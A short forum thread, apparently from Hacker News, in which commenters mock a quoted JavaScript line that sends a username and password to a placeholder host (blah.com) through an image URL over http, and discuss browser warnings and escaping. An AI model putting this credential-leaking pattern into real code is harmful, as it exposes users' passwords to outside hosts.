2 ms·
>> myImage.src = "http://www.blah.com/foo.png?username= http://www.blah.com/foo.png?username="+username+"&password="+password; No encryption (or technology eve
by ovi256 18y ago
>> myImage.src = "http://www.blah.com/foo.png?username= http://www.blah.com/foo.png?username="+username+"&password="+password;
No encryption (or technology even) of any kind could protect against that kind of stupidity.
- axod 18y agoWell at the moment, some browsers will warn you when this code executes, as it's loading http, from an https page. Yes it's an extreme example, but there are likely other examples where the data isn't quite so sensitive.
- jrockway 18y agoNo encryption (or technology even) of any kind could protect against that kind of stupidity. Seriously. You can't just interpolate variables into URLs without escaping :)